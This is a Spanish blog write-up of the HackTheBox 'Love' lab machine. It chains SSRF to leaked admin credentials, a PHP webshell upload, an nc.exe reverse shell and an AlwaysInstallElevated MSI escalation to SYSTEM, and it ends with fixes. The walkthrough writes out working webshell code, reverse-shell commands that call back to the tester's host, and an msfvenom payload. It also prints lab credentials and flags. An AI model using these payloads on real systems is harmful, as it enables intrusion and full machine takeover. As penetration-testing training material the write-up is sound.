Entrada

Love

Un SSRF en un escáner de ficheros llega a un panel interno en el puerto 5000 que filtra las credenciales de admin del Voting System; desde su panel, una subida de ficheros sin validar da RCE, y un AlwaysInstallElevated a 0x1 remata con SYSTEM vía MSI.

Love

Publicado por Jaime Hereza Niño

Publicado 26/10/2026
16 min de lectura
Mi puntuación
17072 votos
MáquinaSODificultadIP
LoveWindowsEasy10.129.48.103

A tener en cuenta...

┌──(jaime㉿kali)-[~]└─$ sudo nano /etc/hosts
10.129.48.103 love love.htb

Resumen

Love es una máquina de puro camino web, de esas que hacen pensar. No hay un CVE que lances y ya: hay que encadenar varias piezas, y cada una te obliga a entender cómo funciona la anterior.

Todo arranca en un escáner de ficheros en un subdominio de staging que, en vez de analizar archivos locales, se descarga una URL que tú le das. Eso es un SSRF de manual, y apuntándolo contra la propia máquina aparece un panel interno en el puerto 5000 que, sin pudor alguno, muestra las credenciales de administrador del Voting System que corre en el 80.

Con esas credenciales, el panel permite subir una foto de votante… que en realidad es un .php, porque no valida nada. De ahí sale la ejecución de código y, con un nc.exe, una shell como phoebe. El último empujón es un clásico de Windows mal configurado: AlwaysInstallElevated, que deja instalar un .msi como SYSTEM.

Una caja divertidísima y muy completa para quien prepara el eWPT: enumeración, SSRF, bypass de protecciones de login, file upload y escalada por registro, todo en una.

Vulnerabilidad

Tres fallos encadenados, cada uno aprovechando lo que el anterior deja al descubierto.

01 · SSRF en el «Free File Scanner» de staging

El subdominio staging.love.htb ofrece un escáner que recibe la URL de un fichero y lo descarga desde el servidor para analizarlo. Como no restringe el destino, se le puede pedir que acceda a http://127.0.0.1 y a sus puertos internos. Es un Server-Side Request Forgery: el servidor hace la petición por ti, saltándose el filtrado de red. Apuntándolo al puerto 5000 — que desde fuera devuelve 403 Forbidden — se accede a un panel interno que filtra las credenciales de administrador.

02 · Subida de ficheros sin validar en el Voting System (RCE)

El Voting System de SourceCodeSter que corre en el puerto 80 permite, desde su panel, crear un votante con una foto. No comprueba ni la extensión ni el tipo del fichero, así que en lugar de una imagen se sube un .php. El fichero queda accesible en /images/ y, al pedirlo, el servidor lo ejecuta: ejecución remota de código como love\phoebe.

03 · AlwaysInstallElevated — escalada a SYSTEM

La clave de registro AlwaysInstallElevated está puesta a 0x1. Esa política hace que cualquier paquete .msi se instale con privilegios de SYSTEM, sin importar quién lo lance. Generando un instalador malicioso con msfvenom y ejecutándolo con msiexec, la escalada es inmediata.

Reconocimiento

Caja negra: barrido completo de puertos contra la víctima, pidiendo de paso que adivine el sistema operativo

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p- -n -Pn -sS --max-retries 1 -O -osscan-guess love
PuertoServicio
80http
135msrpc
139netbios-ssn
443https
445microsoft-ds
3306mysql
5000http

Bastantes puertos abiertos para un Windows: web en el 80, SMB/RPC (135, 139, 445), un 443 con HTTPS, 3306 de MariaDB y un curioso 5000 que también habla HTTP. El SO lo sitúa en un Windows 10.

Escaneo completo de puertos y detección de sistema operativo
Figura 1: Escaneo completo de puertos y detección de sistema operativo

Enumeración

Afino versión y lanzo los scripts por defecto sobre los puertos interesantes

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p 80,135,139,443,445,3306,5000,5040,7680 -sCV --version-intensity 9 -n love
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27) |_http-title: Voting System using PHP 443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27) |_http-title: 403 Forbidden | ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp 3306/tcp open mysql MariaDB 10.3.24 or later 5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27) |_http-title: 403 Forbidden
Enumeración de versiones de los servicios
Figura 2: Enumeración de versiones de los servicios
Scripts de nmap sobre SMB y resto de puertos
Figura 3: Scripts de nmap sobre SMB y resto de puertos

Dos cosas saltan a la vista. Primera, el stack es un XAMPP viejo: Apache 2.4.46 con PHP 7.3.27, todo desactualizado. Segunda, y más jugosa, el certificado TLS del puerto 443 delata un subdominio: commonName=staging.love.htb

Subdominio staging.love.htb en el certificado del 443
Figura 4: Subdominio staging.love.htb en el certificado del 443

Añado love.htb y staging.love.htb al /etc/hosts y empiezo por la web del 80. whatweb confirma el Voting System using PHP sobre Bootstrap y jQuery

┌──(jaime㉿kali)-[~]└─$ whatweb http://love.htb
http://love.htb [200 OK] Apache[2.4.46], Bootstrap, Cookies[PHPSESSID], HTML5, HTTPServer[Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27], JQuery, PHP[7.3.27], Title[Voting System using PHP], X-Powered-By[PHP/7.3.27]
Tecnologías del sitio principal
Figura 5: Tecnologías del sitio principal

La portada es un panel de login del Voting System; Wappalyzer añade DataTables, iCheck y la versión de Bootstrap

Tecnologías detectadas por Wappalyzer
Figura 6: Tecnologías detectadas por Wappalyzer

Un dirsearch descubre el panel /admin/, un /images/ con listing y los habituales de un proyecto PHP

┌──(jaime㉿kali)-[~]└─$ dirsearch -u http://love.htb/
Rutas descubiertas en love.htb
Figura 7: Rutas descubiertas en love.htb

y un nikto corrobora el directory indexing en /images/ y /icons/

┌──(jaime㉿kali)-[~]└─$ nikto -h http://love.htb --Tuning 23
Escaneo de nikto sobre love.htb
Figura 8: Escaneo de nikto sobre love.htb

Ahora toca repetir el mismo trabajo sobre el subdominio. staging.love.htb es un Free File Scanner de ValentineCorp, con una pestaña Demo que promete escanear ficheros

Subdominio staging: Free File Scanner
Figura 9: Subdominio staging: Free File Scanner

whatweb sobre el subdominio

┌──(jaime㉿kali)-[~]└─$ whatweb http://staging.love.htb
Tecnologías de staging
Figura 10: Tecnologías de staging
Wappalyzer sobre staging
Figura 11: Wappalyzer sobre staging
┌──(jaime㉿kali)-[~]└─$ dirsearch -u http://staging.love.htb/
Rutas descubiertas en staging
Figura 12: Rutas descubiertas en staging
Escaneo de nikto sobre staging
Figura 13: Escaneo de nikto sobre staging

Nada clamoroso en los fuzzings, pero esa pestaña Demo del escáner huele raro. Es por ahí por donde hay que tirar.

Explotación

Antes de meterme con el escáner, reviso el login del Voting System. Resulta que enumera usuarios: con uno que no existe responde «Cannot find account with the username»…

Usuario inexistente: «Cannot find account»
Figura 14: Usuario inexistente: «Cannot find account»

…pero con admin cambia a «Incorrect password», confirmando que esa cuenta existe

El usuario admin sí existe
Figura 15: El usuario admin sí existe

La tentación es una fuerza bruta, pero el login esconde una trampa. Al fallar, /admin/login.php no devuelve un mensaje en la misma página: hace un 302 que redirige a index.php

El login fallido responde con un 302 a index.php
Figura 16: El login fallido responde con un 302 a index.php

Lo confirmo con curl: con credenciales falsas, la cabecera Location apunta a index.php

┌──(jaime㉿kali)-[~]└─$ curl -s -i -d "username=admin&password=xxx" http://love.htb/admin/login.php
La redirección a index.php marca el fallo
Figura 17: La redirección a index.php marca el fallo

Esto es importante porque hydra, por defecto, busca una palabra en la respuesta (F=Incorrect) y aquí la respuesta es una redirección, así que da falsos positivos en cascada

Falsos positivos de hydra por la redirección
Figura 18: Falsos positivos de hydra por la redirección

El truco es cambiar la condición de fallo: en vez de buscar una palabra, decirle a hydra que considere erróneo cuando la respuesta redirige a index.php. Aun así, la contraseña de admin no está en los diccionarios habituales — el camino de verdad es otro.

El escáner de ficheros — SSRF

Vuelvo a staging.love.htb y entro en la pestaña Demo: pide la URL de un fichero para escanearlo

La pestaña Demo del escáner
Figura 19: La pestaña Demo del escáner
«Specify the file url»
Figura 20: «Specify the file url»

Para entender cómo se comporta, levanto un servidor y le paso la URL de un .txt mío. El escáner se lo descarga desde la víctima y me muestra su contenido

┌──(jaime㉿kali)-[~]└─$ echo "hola" > pruebahola.txt
┌──(jaime㉿kali)-[~]└─$ python3 -m http.server 80
El escáner descarga e interpreta mi fichero remoto
Figura 21: El escáner descarga e interpreta mi fichero remoto

Que además lo interprete abre la puerta a un XSS. Lo confirmo con un .html que lleva un <script>

┌──(jaime㉿kali)-[~]└─$ echo "<script>alert(1)</script>" > pruebaxss.html
Stored XSS confirmado
Figura 22: Stored XSS confirmado

Pruebo a subir la apuesta a RCE con .php en varias extensiones, pero no hay suerte: solo interpreta código de navegador, no PHP del lado del servidor

No ejecuta PHP del lado del servidor
Figura 23: No ejecuta PHP del lado del servidor

Lo verdaderamente potente es otra cosa: si el escáner se descarga cualquier URL, puedo apuntarlo contra la propia máquina. Es un SSRF. Le pido http://127.0.0.1:80 y me devuelve el login del Voting System — estoy haciendo peticiones desde dentro

SSRF: el 80 interno responde con el Voting System
Figura 24: SSRF: el 80 interno responde con el Voting System

Probando puertos, el 443 interno se queja de que le hablo en HTTP plano

SSRF contra el 443 interno
Figura 25: SSRF contra el 443 interno

y aquí está el premio: el puerto 5000, que desde fuera daba 403 Forbidden…

El 5000 desde fuera: 403 Forbidden
Figura 26: El 5000 desde fuera: 403 Forbidden

…visto desde dentro con el SSRF es un Password Dashboard que suelta las credenciales de administrador en bandeja: admin:@LoveIsInTheAir!!!!

SSRF al 5000: credenciales de admin filtradas
Figura 27: SSRF al 5000: credenciales de admin filtradas

Dentro del panel — File Upload a RCE

Con esas credenciales entro en /admin/ del Voting System y llego al dashboard

Panel de administración del Voting System
Figura 28: Panel de administración del Voting System

En Voters puedo crear un votante con una foto. El formulario no comprueba el tipo de archivo, así que preparo una webshell en PHP y la subo como si fuera la imagen

┌──(jaime㉿kali)-[~]└─$ echo '<?php system($_GET["cmd"]); ?>' > pruebafileupload.php
Webshell PHP lista para subir
Figura 29: Webshell PHP lista para subir
Subida del .php como foto del votante
Figura 30: Subida del .php como foto del votante
Votante creado con la «foto» maliciosa
Figura 31: Votante creado con la «foto» maliciosa

Las fotos se guardan en /images/. Abro mi fichero y le paso un comando por la URL: ?cmd=whoami devuelve love\phoebe, y la ruta del error revela que estoy en C:\xampp\htdocs\omrs\images

RCE: whoami devuelve love\phoebe
Figura 32: RCE: whoami devuelve love\phoebe

Ya tengo ejecución de código, pero quiero una shell interactiva. Intento con la clásica php-reverse-shell, cambiándole la IP, el puerto y el $shell a cmd.exe

php-reverse-shell adaptada a Windows
Figura 33: php-reverse-shell adaptada a Windows

pero se queda colgada: cmd.exe solo suelta su salida cuando cree que habla con una consola de Windows real, y un socket — que no es más que un canal de bytes en bruto entre dos máquinas, sin nada de «terminal» — no se lo hace creer

La reverse shell PHP se queda colgada
Figura 34: La reverse shell PHP se queda colgada

El plan B es subir un nc.exe y lanzarlo desde la ejecución de comandos que ya tengo. Primero confirmo que el formulario también acepta .exe

El upload también acepta ejecutables
Figura 35: El upload también acepta ejecutables

Localizo la ruta exacta con ?cmd=cd, que confirma C:\xampp\htdocs\omrs\images

Ruta exacta de la carpeta de subidas
Figura 36: Ruta exacta de la carpeta de subidas

así que el binario quedará en C:\xampp\htdocs\omrs\images\nc.exe. Subo el nc.exe, me pongo en escucha, y lo ejecuto desde la webshell — hay que URL-encodear el comando para que llegue entero

GET /images/pruebafileupload.php?cmd=C:\xampp\htdocs\omrs\images\nc.exe -e cmd.exe 10.10.15.95 443
Ejecución de nc.exe desde la webshell (encodeado)
Figura 37: Ejecución de nc.exe desde la webshell (encodeado)

Al otro lado, el listener recibe la shell como phoebe

┌──(jaime㉿kali)-[~]└─$ rlwrap nc -lvnp 443
Microsoft Windows [Version 10.0.19042.867] C:\xampp\htdocs\omrs\images>whoami love\phoebe
Shell interactiva como love\phoebe
Figura 38: Shell interactiva como love\phoebe

Con shell estable, leo la primera bandera en el escritorio de phoebe

C:\> type C:\Users\Phoebe\Desktop\user.txt dc27ac9b6a528c8147ba3c613256af22
Lectura de la flag de usuario
Figura 39: Lectura de la flag de usuario

Escalada de privilegios

Con la shell de phoebe, busco configuraciones típicas de Windows mal puestas. Reviso las registry keys de política del instalador y ahí está la joya: AlwaysInstallElevated a 0x1

C:\> reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer"
AlwaysInstallElevated REG_DWORD 0x1
AlwaysInstallElevated habilitado (0x1)
Figura 40: AlwaysInstallElevated habilitado (0x1)

Esa política hace que cualquier paquete .msi se instale con privilegios de SYSTEM. Así que me genero un instalador malicioso con msfvenom que, al ejecutarse, me devuelve una shell

┌──(jaime㉿kali)-[~]└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.15.95 LPORT=1234 -f msi -o shell1234.msi
Generación del .msi con msfvenom
Figura 41: Generación del .msi con msfvenom

Lo subo a la víctima por la misma vía del file upload del panel

Subida del .msi a través del panel
Figura 42: Subida del .msi a través del panel

Hay un detalle molesto: si dejo el fichero directamente en C:\Windows\Temp, el antivirus lo borra. La solución es crear una subcarpeta propia y moverlo ahí

C:\Windows\Temp> mkdir PrivEsc C:\Windows\Temp> cd PrivEsc C:\Windows\Temp\PrivEsc> copy C:\xampp\htdocs\omrs\images\shell1234.msi C:\Windows\Temp\PrivEsc\shell1234.msi
El .msi a salvo en C:\Windows\Temp\PrivEsc
Figura 43: El .msi a salvo en C:\Windows\Temp\PrivEsc

Con un listener esperando, ejecuto el instalador de forma silenciosa

┌──(jaime㉿kali)-[~]└─$ nc -lvnp 1234
C:\Windows\Temp\PrivEsc> msiexec /quiet /qn /i C:\Windows\Temp\PrivEsc\shell1234.msi
Microsoft Windows [Version 10.0.19042.867] C:\WINDOWS\system32>whoami nt authority\system

NT AUTHORITY\SYSTEM. Control total de la máquina. Leo la última bandera en el escritorio de Administrator

C:\> type C:\Users\Administrator\Desktop\root.txt f388e3eacf644f53e1bd01ff1609afe5
Shell como SYSTEM y lectura de la flag de root
Figura 44: Shell como SYSTEM y lectura de la flag de root

Flags

La de usuario, en el escritorio de phoebe

C:\> type C:\Users\Phoebe\Desktop\user.txt dc27ac9b6a528c8147ba3c613256af22

Y la de root, en el de Administrator

C:\> type C:\Users\Administrator\Desktop\root.txt f388e3eacf644f53e1bd01ff1609afe5

Cómo se arregla

La máquina encadena un fallo de diseño tras otro; cada capa tiene su remedio:

  • Validar el destino del escáner: el Free File Scanner nunca debería poder pedir URLs internas. Una lista blanca de dominios permitidos y el bloqueo de 127.0.0.1, rangos privados y metadata endpoints cierran el SSRF.
  • No exponer secretos en servicios internos: un panel que muestra la contraseña de admin en texto plano es un regalo. Las credenciales no se publican ni en el 5000 ni en ningún sitio; y confiar en que el 5000 sea «interno» no basta cuando hay un SSRF.
  • Validar las subidas de ficheros: el Voting System debe comprobar extensión y MIME type, renombrar los ficheros, guardarlos fuera del webroot y servirlos sin permitir su ejecución. Eso corta el RCE de raíz.
  • Actualizar el stack: XAMPP con Apache 2.4.46 y PHP 7.3.27 está muy desfasado. Mantenerlo al día reduce la superficie de ataque.
  • Desactivar AlwaysInstallElevated: poner la clave a 0 en HKLM y HKCU elimina la escalada por MSI. Es una política que casi nunca debería estar activa.
  • Contraseñas robustas y login sin fugas: evitar que el formulario distinga «usuario no existe» de «contraseña incorrecta» frena la enumeración de usuarios.

Conclusiones

Máquina 10/10, perfecta para eWPT, full web y muy divertida, te hace pensar nuevas maneras de explotarla, muy recomendable

Esta entrada está licenciada bajo CC BY 4.0 por el autor.